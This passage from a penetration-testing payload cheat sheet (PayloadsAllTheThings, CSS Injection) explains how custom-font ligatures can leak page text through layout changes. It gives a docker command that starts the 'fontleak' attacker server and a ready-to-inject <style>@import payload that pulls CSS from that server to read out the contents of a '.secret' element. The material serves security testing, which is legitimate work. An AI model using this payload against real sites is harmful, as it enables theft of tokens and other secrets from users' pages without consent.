This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout. 1. Create a custom font with ligatures for target strings. 2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latestPayload example using `fontleak` with a custom selector, parent element, and alphabet. **Warning**: The CSS selector must match exactly one element in the target page.
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>Source: CSS Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.